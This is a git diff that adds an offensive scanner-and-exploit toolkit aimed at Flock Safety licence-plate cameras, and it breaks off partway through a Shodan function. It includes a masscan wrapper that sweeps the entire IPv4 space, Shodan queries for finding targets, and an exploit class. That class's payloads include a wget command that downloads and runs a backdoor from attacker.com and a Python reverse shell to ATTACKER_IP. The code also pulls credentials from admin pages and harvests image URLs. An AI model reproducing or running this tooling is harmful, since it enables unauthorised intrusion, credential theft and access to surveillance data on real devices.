{self.interface}") + if self.pcap: + print(f" PCAP: {self.pcap}") + print(f" Duration: {elapsed:.1f}s") + print(f" Packets: {self.packet_count:,}") + + cloud_cams = [] + for ip in sorted(self.devices): + if self.classify_camera(ip) == "CLOUD_CONNECTED": + cloud_cams.append(ip) + + print(f"\n{C.CY}Classification:{C.END}") + print(f" Cloud-connected: {len(cloud_cams)}") + print(f" Local station: {sum(1 for ip in self.devices if self.classify_camera(ip) == 'LOCAL_STATION')}") + print(f" Unknown: {sum(1 for ip in self.devices if self.classify_camera(ip) == 'UNKNOWN')}") + + if cloud_cams: + print(f"\n{C.R}Cloud-Connected Cameras:{C.END}") + for ip in cloud_cams: + dev = self.devices[ip] + evidence = [] + dns_list = list(set(q["query"] for q in dev.get("dns_queries", []) + if "flock" in q["query"].lower())) + snis = list(set(s["sni"] for s in dev.get("tls_snis", []) + if "flock" in s["sni"].lower() or "auth0" in s["sni"].lower())) + frps = dev.get("frp_tunnels", []) + if dns_list: + evidence.append(f"DNS({', '.join(dns_list[:3])})") + if snis: + evidence.append(f"SNI({', '.join(snis[:3])})") + if frps: + evidence.append(f"FRP({len(frps)} tunnels)") + print(f" {C.R}[!] {ip:<16}{C.END} {' | '.join(evidence[:3])}") + + # All Flock domains seen + flock_domains = sorted( + d for d in self.seen_domains + if "flock" in d.lower() or "auth0" in d.lower() + ) + if flock_domains: + print(f"\n{C.CY}Flock Domains Resolved:{C.END}") + for d in flock_domains: + print(f" ﹒ {d}") + + # FRP tunnels + total_frp = sum(len(dev.get("frp_tunnels", [])) for dev in self.devices.values()) + if total_frp > 0: + print(f"\n{C.R}FRP Tunnels: {total_frp}{C.END}") + for ip, dev in sorted(self.devices.items()): + for frp in dev.get("frp_tunnels", []): + print(f" {C.R}[!] {ip} -> {frp['dst']}:{frp['port']} [{frp.get('type','')}]{C.END}") + + # SNI Categorization summary + auth_count = sum(fs["auth_tls"] for fs in self.flow_stats.values()) + s3_count = sum(fs["s3_uploads"] for fs in self.flow_stats.values()) + api_count = sum(fs["cloud_api"] for fs in self.flow_stats.values()) + if auth_count or s3_count or api_count: + print(f"\n{C.CY}TLS Traffic Categories:{C.END}") + if auth_count: + print(f" auth: {auth_count} connections") + if s3_count: + print(f" s3_upload: {s3_count} connections") + if api_count: + print(f" cloud_api: {api_count} connections") + + # S3 URLs from captured traffic + try: + s3_urls = self._extract_s3_from_collected() + if s3_urls: + from modules.s3_url_catcher import format_s3_findings_terminal + print(f"\n{C.Y}S3/Image URLs Captured:{C.END}") + print(format_s3_findings_terminal(s3_urls)) + except Exception: + pass + + # Save + if self.output_file: + report_data = self.generate_report() + # Add S3 URLs to saved report + try: + s3_urls = self._extract_s3_from_collected() + if s3_urls: + report_data["s3_image_urls"] = s3_urls + except Exception: + pass + with open(self.output_file, "w") as f: + json.dump(report_data, f, indent=2) + print(f"\n{C.G}Report saved to {self.output_file}{C.END}") + + print(f"\n{C.B}{'='*70}{C.END}\n") + + +def main(): + import argparse + parser = argparse.ArgumentParser(description="Flock Traffic Tap — Passive Camera Monitor") + parser.add_argument("--tap-interface", help="Network interface for live capture") + parser.add_argument("--tap-pcap", help="PCAP file to analyze") + parser.add_argument("--tap-pipe", action="store_true", help="Read from stdin pipe") + parser.add_argument("--tap-output", help="Save report to JSON file") + parser.add_argument("--tap-verbose", "-v", action="store_true", help="Verbose output") + parser.add_argument("--tap-timeout", type=int, default=None, help="Capture duration (seconds)") + parser.add_argument("--tap-filter", default=None, help="BPF filter expression") + args = parser.parse_args() + + tap = FlockTrafficTap( + interface=args.tap_interface, pcap=args.tap_pcap, pipe=args.tap_pipe, + verbose=args.tap_verbose, output_file=args.tap_output, timeout=args.tap_timeout, + filter_expr=args.tap_filter, + ) + if not args.tap_interface and not args.tap_pcap and not args.tap_pipe: + parser.print_help() + print(f"\n{C.Y}Specify --tap-interface, --tap-pcap, or --tap-pipe{C.END}") + return + tap.start() + tap.report() + + +if __name__ == "__main__": + main() diff --git a/masscan_wrapper.sh b/masscan_wrapper.sh new file mode 100644 index 0000000..2af4996 --- /dev/null +++ b/masscan_wrapper.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# masscan_wrapper.sh - Use masscan to find targets + +echo "CVE-2025 Masscan Wrapper" +echo "========================" + +# Common ports for vulnerable services +PORTS="80,443,5555,5037,8080,8443,9000,8443" + +echo "Running masscan for ports: $PORTS" +sudo masscan -p$PORTS --rate=1000 -oJ masscan_results.json 0.0.0.0/0 + +echo "Extracting IPs..." +cat masscan_results.json | jq -r '.[] | .ip' > targets.txt + +echo "Found $(wc -l < targets.txt) targets" +echo "Now scanning targets with CVE scanner..." +python3 cve_scanner.py -f targets.txt -o results.json diff --git a/run_scanner.sh b/run_scanner.sh new file mode 100644 index 0000000..0ccd671 --- /dev/null +++ b/run_scanner.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# Run scanner with proper Shodan queries + +echo "CVE-2025 Scanner with Shodan Integration" +echo "========================================" +echo "" + +# Generate queries +echo "Generating Shodan queries..." +python3 shodan_queries.py + +echo "" +echo "Select option:" +echo "1. Run scanner with Shodan auto-query" +echo "2. Run scanner with manual IP" +echo "3. Run scanner with file" + +read -p "Choice (1-3): " choice + +case $choice in + 1) + echo "Running scanner with Shodan..." + # Use the scanner with a specific query + python3 scanner.py -v + ;; + 2) + read -p "Enter IP: " ip + python3 scanner.py -t $ip --exploit + ;; + 3) + read -p "Enter file: " file + python3 scanner.py -f $file + ;; +esac diff --git a/scanner.py b/scanner.py new file mode 100644 index 0000000..27f1b1a --- /dev/null +++ b/scanner.py @@ -0,0 +1,1325 @@ +#!/usr/bin/env python3 +""" +FLOCK CVE Scanner + Discover + Traffic Analysis +Scans for: + - CVE-2025-59403: Unauthenticated admin API / ADB RCE (9.8) + - CVE-2025-59407: Hardcoded keystore crypto key (CRITICAL) + - CVE-2025-47818: Hardcoded fallback hotspot credentials + - CVE-2025-47823: Hardcoded system password on ALPR firmware + - Flock instance discovery on local subnet + - Cloud vs local station data flow detection +""" + +import socket +import ssl +import json +import time +import sys +import os +import re +import hashlib +import base64 +import threading +import queue +import subprocess +import telnetlib +import struct +from datetime import datetime +from urllib.parse import urlparse, urljoin +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import argparse +import csv +import random + +# Import traffic tap module (optional) +try: + from flock_tap import FlockTrafficTap, C as TapColors + HAVE_TAP = True +except ImportError: + HAVE_TAP = False + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +# ── Flock-known infrastructure for cloud detection ── +FLOCK_CLOUD_DOMAINS = [ + "api.flocksafety.com", "app.flocksafety.com", "users.flocksafety.com", + "login.flocksafety.com", "websockets.flocksafety.com", "safelist.flocksafety.com", + "events.flocksafety.com", "docs.flocksafety.com", "status.flocksafety.com", + "flock-hibiki-inbox.s3.us-east-1.amazonaws.com", + "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com", + "internal.flocksafety.com", "prometheus.flocksafety.com", +] + +FLOCK_CLOUD_IPS = [ + "198.202.211.1", # flocksafety.com A + "52.72.49.79", # safelist (AWS) + "34.71.237.120", # scim (GCP) + "104.18.16.189", # websockets (Cloudflare) + "104.18.17.189", # websockets (Cloudflare) +] + +# ── Flock ONVIF manufacturer fingerprint strings ── +FLOCK_ONVIF_FINGERPRINTS = [ + b"Flock", b"Flock Safety", b"Falcon", b"Sparrow", + b"admin_page_template", b"SpeedPourer", b"Picard", b"Bravo", +] + +class Colors: + HEADER = '\033[95m' + BLUE = '\033[94m' + CYAN = '\033[96m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + END = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + BLINK = '\033[5m' + +# Extended Shodan queries +SHODAN_QUERIES = { + 'CVE-2025-59403': [ + 'title:"Falcon"', 'title:"Sparrow"', + '"/api/v1/admin"', '"/api/v1/system"', '"/api/v1/debug"', + 'port:5555 "Android"', '"Android Debug Bridge"', + 'port:5037 adb', 'http.title:"ADB"', + '"Falcon" "api" port:443', '"Sparrow" "api" port:443', + '"/api/v1/execute"', '"/api/v1/command"', + ], + 'CVE-2025-59407': [ + '"Android" "v6.35.33"', '"keystore" "hardcoded"', + '"crypto" "key" "Android"', '"/api/v1/keystore"', + '"/api/v1/security"', '"hardcoded_key"', '"default_key"', + ], + 'CVE-2025-47818': [ + '"hotspot" "fallback"', '"/api/v1/hotspot"', + '"default" "hotspot" "credentials"', '"/api/v1/wifi"', + '"hotspot" "config"', '"wifi" "credentials"', + ], + 'CVE-2025-47823': [ + '"ALPR" "v2.0"', '"ALPR" "v2.1"', '"ALPR" "v2.2"', + '"/api/v1/alpr"', '"license plate" "system"', + '"LPR" "firmware"', '"ALPR" "firmware"', '"/alpr" "/api"', + ], + 'FLOCK_DISCOVERY': [ + 'title:"admin_page_template"', + '"admin_page_template.html"', + '"/onvif/device_service" Flock', + '"SpeedPourer" port:21', + '"FRP" "flock" port:7000', + '"M5NanoC6" "flock"', + '"flock" "ADB" port:5555', + 'ssl.cert.subject.cn:"*.flocksafety.com"', + 'ssl.cert.subject.cn:"*.ops.flocksafety.com"', + 'org:"Flock Safety"', + '"flock-hibiki"', + ], +} + + +class CVEExploiter: + def __init__(self, verbose=False, output_file=None, threads=10, timeout=5, exploit=False, enrich=False): + self.verbose = verbose + self.output_file = output_file + self.threads = threads + self.timeout = timeout + self.exploit = exploit + self.enrich = enrich + self.results = [] + self.lock = threading.Lock() + self.work_queue = queue.Queue() + self.total_scanned = 0 + self.vulnerable_found = 0 + self.exploited = 0 + self.shodan_api_key = None + + self.payloads = { + 'CVE-2025-59403': { + 'command_exec': [ + 'id', 'whoami', 'uname -a', + 'cat /etc/passwd', 'ls -la /', 'ps aux', + 'netstat -tulpn', 'ifconfig', + 'echo "VULNERABLE" > /tmp/test.txt', + 'wget -O /tmp/backdoor.sh http://attacker.com/shell.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh', + 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'', + ], + 'adb_commands': [ + 'shell id', 'shell whoami', 'shell getprop', + 'shell pm list packages', 'shell dumpsys battery', + 'shell input keyevent 26', + 'shell settings put global adb_enabled 1', + 'shell settings put secure install_non_market_apps 1', + ], + }, + 'CVE-2025-59407': { + 'crypto_keys': [ + 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA', + 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ==', + '-----BEGIN PRIVATE KEY-----', + 'hardcoded_keystore_password', + 'android_keystore_key_2024', + 'default_crypto_key_v6.35.33', + ], + }, + } + + # ═══════════════════════════════════════════════════ + # PRIMITIVE HELPERS + # ═══════════════════════════════════════════════════ + + def _probe_port(self, host, port, proto="tcp"): + """Quick TCP connect probe.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + r = s.connect_ex((host, port)) + s.close() + return r == 0 + except Exception: + return False + + def _http_get(self, host, path="/", port=80, timeout=None): + """Plain HTTP GET, returns body text or None.""" + try: + u = f"http://{host}:{port}{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + try: + u = f"https://{host}:443{path}" + r = requests.get(u, timeout=timeout or self.timeout, verify=False, headers={"User-Agent": "Mozilla/5.0"}) + if r.status_code < 500: + return r.text + except Exception: + pass + return None + + def _is_private_ip(self, ip): + try: + first = int(ip.split(".")[0]) + if first == 10: + return True + if first == 172 and 16 <= int(ip.split(".")[1]) <= 31: + return True + if first == 192 and ip.split(".")[1] == "168": + return True + except Exception: + pass + return False + + def _adb_get_prop(self, host, prop): + """Try ADB getprop on port 5555.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, 5555)) + s.send(f"shell getprop {prop}\n".encode()) + time.sleep(0.5) + data = s.recv(4096).decode(errors="replace") + s.close() + return data.strip() + except Exception: + return None + + def _onvif_probe(self, host): + """Send ONVIF GetDeviceInformation probe.""" + body = ( + '' + '' + '' + '' + '' + ) + for port in (80, 443, 8899): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((host, port)) + req = ( + f"POST /onvif/device_service HTTP/1.1\r\n" + f"Host: {host}:{port}\r\n" + f"Content-Type: application/soap+xml; charset=utf-8\r\n" + f"Content-Length: {len(body)}\r\n" + f"Connection: close\r\n\r\n{body}" + ) + s.send(req.encode()) + resp = s.recv(4096) + s.close() + # Check for Flock-specific manufacturer strings + if any(fingerprint in resp for fingerprint in FLOCK_ONVIF_FINGERPRINTS): + # Extract manufacturer/model + m = re.search(rb"(.*?)", resp) + model = re.search(rb"(.*?)", resp) + return { + "manufacturer": m.group(1).decode(errors="replace") if m else "unknown", + "model": model.group(1).decode(errors="replace") if model else "unknown", + } + except Exception: + pass + return None + + def _check_frp_tunnel(self, host): + """Check if a Flock FRP tunnel server is listening on common FRP ports.""" + for port in (7000, 7500, 7001): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(3) + s.connect((host, port)) + # FRP server sends a short banner or waits for auth + s.settimeout(2) + try: + banner = s.recv(128) + if b"frp" in banner.lower() or b"auth" in banner.lower() or len(banner) > 0: + s.close() + return {"port": port, "banner": banner[:64].decode(errors="replace")} + except socket.timeout: + # Connection accepted but no banner — possible FRP + s.close() + return {"port": port, "banner": "(no banner — possible FRP tunnel)"} + s.close() + except Exception: + pass + return None + + def _check_dns_resolve(self, hostname): + """Check if a hostname resolves to a known Flock cloud IP.""" + try: + ips = socket.getaddrinfo(hostname, 80) + return [addr[4][0] for addr in ips] + except Exception: + return [] + + def _check_cloud_connection(self, camera_ip): + """ + Probe a suspected camera to determine if it talks to Flock cloud + or a local station. Uses three methods: + A) DNS test on the camera's configured DNS server + B) Check if the admin web UI contains cloud URLs + C) Port-scan for local relay + """ + evidence = [] + + # B) Probe admin web interface for embedded cloud URLs + for path in ("/", "/metadata", "/config", "/config/network", "/status"): + body = self._http_get(camera_ip, path) + if body: + for domain in FLOCK_CLOUD_DOMAINS: + if domain in body: + evidence.append(f"admin_ui_contains_{domain}") + + # C) Check for local station relay port + for relay_port in (80, 8080, 9090, 443): + if self._probe_port(camera_ip, relay_port): + evidence.append(f"local_relay_port_{relay_port}") + + if evidence: + if any("admin_ui_contains" in e for e in evidence): + return "CLOUD", evidence + return "LOCAL", evidence + return "UNKNOWN", evidence + + def _traffic_sniff_analysis(self, camera_ip, duration=30): + """ + Passive DNS / TCP analysis (requires root / scapy). + Falls back to DNS-resolution test if scapy not available. + """ + # Fallback: just try to resolve Flock domains — if the camera's + # network allows it, the camera itself will resolve them. + reachable = [] + for domain in FLOCK_CLOUD_DOMAINS[:6]: + ips = self._check_dns_resolve(domain) + if ips: + reachable.append(domain) + if reachable: + return "CLOUD_REACHABLE", reachable + else: + return "NO_CLOUD_REACHABLE", [] + + # ═══════════════════════════════════════════════════ + # ENRICHMENT MODULES (v3.0+) + # ═══════════════════════════════════════════════════ + + def _run_enrichment(self, host): + """ + Run all enrichment modules against a host. + Called when --enrich flag is set. + """ + enrichment = {} + + try: + from modules.banner_grabber import grab_all_banners + enrichment["banners"] = grab_all_banners(host, timeout=self.timeout) + except Exception as e: + if self.verbose: + print(f" [banner_grabber] {e}") + + try: + from modules.cloud_enrich import enrich_ip + # Enrich the target IP + ip_info = enrich_ip(host, timeout=self.timeout) + if ip_info: + enrichment["ip_intel"] = ip_info + # Also enrich known Flock cloud IPs if we detected them + cloud_ips = [] + for finding in getattr(self, '_current_findings', []): + if 'cloud' in finding.get('type','').lower() or 'flock' in finding.get('detail','').lower(): + # We'd need to extract IPs — handled at print time + pass + except Exception as e: + if self.verbose: + print(f" [cloud_enrich] {e}") + + # Telemetry from admin web page + http_res = None + for port in (80, 443): + try: + body = self._http_get(host, "/", port=port) + if body: + from modules.telemetry import extract_telemetry + telemetry = extract_telemetry(body) + if telemetry: + enrichment[f"telemetry_{port}"] = telemetry + break + except Exception: + pass + + # ADB deep collect + try: + from modules.adb_deep import adb_deep_collect + adb_data = adb_deep_collect(host, timeout=self.timeout) + if adb_data: + enrichment["adb_deep"] = adb_data + except Exception as e: + if self.verbose: + print(f" [adb_deep] {e}") + + # Network map (passive, ARP-based) + try: + from modules.network_map import NetworkMapper + nm = NetworkMapper(host, timeout=self.timeout) + net_map = nm.full_map() + if net_map and net_map.get("discovered_devices"): + enrichment["network_map"] = net_map + except Exception as e: + if self.verbose: + print(f" [network_map] {e}") + + # ── NEW v3.1 modules ── + + # Credential extraction from HTTP bodies + try: + from modules.creds_extractor import extract_creds, extract_creds_from_headers + creds = [] + for port in (80, 443): + body = self._http_get(host, "/", port=port) + if body: + found = extract_creds(body, source=f"admin_page_{port}") + # Also try common config endpoints + for cfg_path in ("/config", "/config.json", "/api/config", "/status", "/metadata"): + more_body = self._http_get(host, cfg_path, port=port) + if more_body: + found += extract_creds(more_body, source=f"{cfg_path}_{port}") + if found: + creds.extend(found) + if creds: + enrichment["credentials"] = creds + # Write to file + try: + from modules.creds_extractor import write_creds_report + creds_path = os.path.join( + os.path.dirname(self.output_file or "results"), + f"creds_{host.replace('.', '_')}.txt" + ) if self.output_file else f"creds_{host.replace('.', '_')}.txt" + write_creds_report(creds, creds_path) + except Exception as e: + if self.verbose: + print(f" [creds write] {e}") + except Exception as e: + if self.verbose: + print(f" [creds_extractor] {e}") + + # Prometheus scraping + try: + from modules.prometheus_scraper import probe_prometheus, scan_subnet_for_prometheus + # Get gateway info from network_map or adb_deep + gateway = None + if enrichment.get("adb_deep"): + gateway = enrichment["adb_deep"].get("gateway") + elif enrichment.get("network_map", {}).get("camera", {}).get("network_info"): + gateway = enrichment["network_map"]["camera"]["network_info"].get("gateway") + + prom_results = [] + # Probe the camera host itself + p = probe_prometheus(host, timeout=self.timeout) + if p: + prom_results.append(p) + # Probe gateway if available + if gateway: + p = probe_prometheus(gateway, timeout=self.timeout) + if p: + prom_results.append(p) + if prom_results: + enrichment["prometheus"] = prom_results + except Exception as e: + if self.verbose: + print(f" [prometheus] {e}") + + # S3 URL capture from HTTP bodies + try: + from modules.s3_url_catcher import scan_traffic_for_s3 + http_bodies = [] + for port in (80, 443): + for path in ("/", "/config", "/status", "/metadata", "/api/v1/status"): + body = self._http_get(host, path, port=port) + if body: + http_bodies.append({ + "body": body, + "source": f"{host}:{port}{path}", + }) + s3_urls = scan_traffic_for_s3(http_responses=http_bodies) + if s3_urls: + enrichment["s3_urls"] = s3_urls + try: + from modules.s3_url_catcher import write_s3_report + s3_path = os.path.join( + os.path.dirname(self.output_file or "results"), + f"s3_urls_{host.replace('.', '_')}.txt" + ) if self.output_file else f"s3_urls_{host.replace('.', '_')}.txt" + write_s3_report(s3_urls, s3_path) + except Exception as e: + if self.verbose: + print(f" [s3 write] {e}") + except Exception as e: + if self.verbose: + print(f" [s3_url_catcher] {e}") + + return enrichment if enrichment else None + + # ═══════════════════════════════════════════════════ + # FINGERPRINT DISCOVERY + # ═══════════════════════════════════════════════════ + + def discover_fingerprints(self, host): + """ + Run all Flock fingerprint probes against a single host. + Returns a list of finding dicts. + """ + findings = [] + + # 1) ADB / Android shell + if self._probe_port(host, 5555): + model = self._adb_get_prop(host, "ro.product.model") + device = self._adb_get_prop(host, "ro.product.device") + if model and ("flock" in model.lower() or "falcon" in model.lower() or "sparrow" in model.lower()): + findings.append({ + "type": "FLOCK_ADB", "port": 5555, + "device": model, "cve": "CVE-2025-59403", + "detail": f"ADB accessible, model={model}, device={device}", + }) + elif model: + findings.append({ + "type": "ANDROID_ADB", "port": 5555, + "device": model, + "detail": f"Android ADB open (non-Flock model='{model}')", + }) + + # 2) Admin web UI fingerprints + for port in (80, 443): + body = self._http_get(host, "/", port=port) + if body: + if "admin_page_template" in body: + findings.append({ + "type": "FLOCK_ADMIN_WEB", "port": port, + "cve": "CVE-2025-59403", + "detail": "admin_page_template.html found — confirmed Flock admin portal", + }) + if "SpeedPourer" in body: + findings.append({ + "type": "FLOCK_SPEEDPOURER", "port": port, + "detail": "SpeedPourer FTP reference found on admin page", + }) + if "flock" in body.lower(): + # Generic Flock mention + findings.append({ + "type": "FLOCK_GENERIC", "port": port, + "detail": "Page body contains 'flock' text", + }) + + # 3) ONVIF probe + onvif = self._onvif_probe(host) + if onvif: + findings.append({ + "type": "FLOCK_ONVIF", + "detail": f"ONVIF device — Manufacturer={onvif['manufacturer']}, Model={onvif['model']}", + "onvif_info": onvif, + }) + + # 4) FRP tunnel + frp = self._check_frp_tunnel(host) + if frp: + findings.append({ + "type": "FRP_TUNNEL", "port": frp["port"], + "detail": f"FRP tunnel server on port {frp['port']}: {frp['banner']}", + }) + + # 5) CVE probes (reuse existing logic) + cve_results = self.scan_and_exploit(host) + for cr in cve_results: + findings.append({ + "type": cr.get("cve", "CVE"), + "detail": f"{cr.get('cve','?')} — path={cr.get('path','')} exploited={cr.get('exploited',False)}", + "cve_finding": cr, + }) + + # 6) Cloud connection check + verdict, evid = self._check_cloud_connection(host) + if verdict != "UNKNOWN": + findings.append({ + "type": f"DATA_FLOW_{verdict}", + "detail": f"Data flow verdict: {verdict}. Evidence: {', '.join(evid[:5])}", + }) + + # 7) Enrichment (v3.0+ — banners, cloud provider, telemetry, ADB deep, network map) + if self.enrich: + self._current_findings = findings + enrich_data = self._run_enrichment(host) + if enrich_data: + findings.append({ + "type": "ENRICHMENT", + "detail": f"Enrichment data collected: {', '.join(k for k in enrich_data.keys())}", + "enrichment_data": enrich_data, + }) + + return findings + + # ═══════════════════════════════════════════════════ + # DISCOVERY RUNNER + # ═══════════════════════════════════════════════════ + + def run_discovery(self, cidr): + """Multi-threaded subnet discovery for Flock instances.""" + import ipaddress + net = ipaddress.ip_network(cidr, strict=False) + hosts = [str(ip) for ip in net.hosts()] + print(f"{Colors.CYAN}Scanning {len(hosts)} hosts in {cidr} for Flock fingerprints…{Colors.END}") + print(f"{Colors.YELLOW}Threads={self.threads}, timeout={self.timeout}s{Colors.END}") + start = time.time() + discovered = [] + + def _discover_worker(): + while True: + try: + h = self.work_queue.get_nowait() + except queue.Empty: + return + find = self.discover_fingerprints(h) + if find: + with self.lock: + discovered.append({"host": h, "findings": find}) + self.results.append({"target": h, "findings": find, "type": "DISCOVERY"}) + self.vulnerable_found += len(find) + with self.lock: + self.total_scanned += 1 + if self.total_scanned % 25 == 0: + elapsed = time.time() - start + rate = self.total_scanned / elapsed if elapsed > 0 else 0 + eta = (len(hosts) - self.total_scanned) / rate if rate > 0 else 0 + sys.stdout.write( + f"\r{Colors.CYAN}[{self.total_scanned}/{len(hosts)}] " + f"found={len(discovered)} rate={rate:.0f}/s eta={eta:.0f}s{Colors.END} " + ) + sys.stdout.flush() + self.work_queue.task_done() + + for h in hosts: + self.work_queue.put(h) + + threads = [] + for _ in range(min(self.threads, len(hosts))): + t = threading.Thread(target=_discover_worker, daemon=True) + t.start() + threads.append(t) + for t in threads: + t.join() + + elapsed = time.time() - start + print() + print(f"\n{Colors.GREEN}Discovery complete in {elapsed:.1f}s{Colors.END}") + print(f"{Colors.CYAN}Scanned: {self.total_scanned} | Flock instances found: {len(discovered)}{Colors.END}") + + # Show a summary table + if discovered: + print(f"\n{Colors.BOLD}{'Host':<18} {'Types':<40}{Colors.END}") + print("─" * 60) + for d in discovered: + types = ", ".join(f["type"] for f in d["findings"]) + print(f"{d['host']:<18} {types:<40}") + + return discovered + + # ═══════════════════════════════════════════════════ + # TRAFFIC ANALYSIS RUNNER + # ═══════════════════════════════════════════════════ + + def run_traffic_analysis(self, camera_ip): + """ + Analyze whether a Flock camera sends data to the cloud + or a local station. Returns structured verdict. + """ + print(f"\n{Colors.CYAN}Analyzing data flow for {camera_ip}…{Colors.END}") + + result = {"target": camera_ip, "type": "TRAFFIC_ANALYSIS", "checks": []} + + # 1) DNS – can it resolve Flock cloud? + dns_verdict, dns_evidence = self._traffic_sniff_analysis(camera_ip, duration=5) + result["checks"].append({"test": "dns_resolve", "verdict": dns_verdict, "detail": dns_evidence}) + print(f" DNS resolve: {Colors.YELLOW}{dns_verdict}{Colors.END}") + if dns_evidence: + for d in dns_evidence[:5]: + print(f" resolves → {d}") + + # 2) Admin UI inspection + verdict2, evid2 = self._check_cloud_connection(camera_ip) + result["checks"].append({"test": "admin_ui_inspection", "verdict": verdict2, "detail": evid2}) + print(f" Admin UI: {Colors.YELLOW}{verdict2}{Colors.END}") + for e in evid2[:5]: + print(f" {e}") + + # 3) FRP tunnel check + frp = self._check_frp_tunnel(camera_ip) + if frp: + result["checks"].append({"test": "frp_tunnel", "verdict": "FRP_TUNNEL", "detail": frp}) + print(f" FRP tunnel: {Colors.RED}FOUND on port {frp['port']}{Colors.END}") + print(f" banner: {frp['banner']}") + else: + result["checks"].append({"test": "frp_tunnel", "verdict": "NO_FRP"}) + print(f" FRP tunnel: {Colors.GREEN}none{Colors.END}") + + # 4) ADB shell → check network config + if self._probe_port(camera_ip, 5555): + gw = self._adb_get_prop(camera_ip, "net.route.gateway") + dns = self._adb_get_prop(camera_ip, "net.dns1") + result["checks"].append({ + "test": "adb_network", "verdict": "ADB", + "detail": {"gateway": gw, "dns": dns}, + }) + print(f" ADB net: gateway={gw} dns={dns}") + + # Overall verdict + verdicts = [c["verdict"] for c in result["checks"]] + if "CLOUD" in verdicts or "CLOUD_REACHABLE" in verdicts or "FRP_TUNNEL" in verdicts: + result["overall"] = "CLOUD — data flows to Flock infrastructure" + elif "LOCAL" in verdicts: + result["overall"] = "LOCAL_STATION — data stays on-prem" + else: + result["overall"] = "INDETERMINATE — unable to determine data flow" + + print(f"\n{Colors.BOLD}Overall: {Colors.END}{result['overall']}") + + with self.lock: + self.results.append(result) + + return result + + # ═══════════════════════════════════════════════════ + # EXISTING METHODS (unchanged) + # ═══════════════════════════════════════════════════ + + def print_banner(self): + banner = f""" +{Colors.RED}================================================================================ + + {Colors.YELLOW}███████╗██╗ ██╗███████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ███████╗██████╗{Colors.RED} + {Colors.YELLOW}██╔════╝██║ ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔════╝██╔══██╗{Colors.RED} + {Colors.YELLOW}█████╗ ██║ ██║█████╗ ███████╗██║ ███████║██╔██╗ ██║██████╔╝█████╗ ██████╔╝{Colors.RED} + {Colors.YELLOW}██╔══╝ ╚██╗ ██╔╝██╔══╝ ╚════██║██║ ██╔══██║██║╚██╗██║██╔══██╗██╔══╝ ██╔══██╗{Colors.RED} + {Colors.YELLOW}███████╗ ╚████╔╝ ███████╗ ███████║╚██████╗██║ ██║██║ ╚████║██║ ██║███████╗██║ ██║{Colors.RED} + {Colors.YELLOW}╚══════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝{Colors.RED} + + {Colors.CYAN}███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗███████╗██████╗ {Colors.RED} + {Colors.CYAN}██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗{Colors.RED} + {Colors.CYAN}█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ █████╗ ██████╔╝{Colors.RED} + {Colors.CYAN}██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══╝ ██╔══██╗{Colors.RED} + {Colors.CYAN}███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║{Colors.RED} + {Colors.CYAN}╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{Colors.RED} + +================================================================================{Colors.END} + +{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODULE INCLUDED{Colors.END} +{Colors.YELLOW}Use only on systems you own or have explicit permission to test{Colors.END} + +{Colors.BOLD}Vulnerabilities:{Colors.END} + {Colors.RED}CVE-2025-59403 - Unauthenticated admin API / ADB RCE (Score: 9.8){Colors.END} + {Colors.RED}CVE-2025-59407 - Hardcoded keystore crypto key (CRITICAL){Colors.END} + {Colors.YELLOW}CVE-2025-47818 - Hardcoded fallback hotspot credentials{Colors.END} + {Colors.YELLOW}CVE-2025-47823 - Hardcoded system password on ALPR firmware <=2.2{Colors.END} + +{Colors.BOLD}New:{Colors.END} + {Colors.GREEN} 6) Flock Instance Discovery — scan subnet for all Flock fingerprints{Colors.END} + {Colors.GREEN} 7) Traffic Analysis — cloud vs local station data flow{Colors.END} + +{Colors.BOLD}Mode:{Colors.END} {'SCAN + EXPLOIT' if self.exploit else 'SCAN ONLY'} +{Colors.BOLD}Threads:{Colors.END} {self.threads} +{Colors.BOLD}Timeout:{Colors.END} {self.timeout}s +""" + print(banner) + + # ── Shodan ── + def get_shodan_targets(self, api_key): + targets = [] + try: + import shodan + api = shodan.Shodan(api_key) + print(f"{Colors.CYAN}Searching Shodan for CVE-2025 vulnerable systems...{Colors.END}") + for cve, queries in SHODAN_QUERIES.items(): + if cve == "FLOCK_DISCOVERY": + continue # covered below + query = " OR ".join(queries[:3]) + print(f"{Colors.CYAN}Searching {cve}...{Colors.END}") + try: + results = api.search(query, limit=50) + for result in results['matches']: + 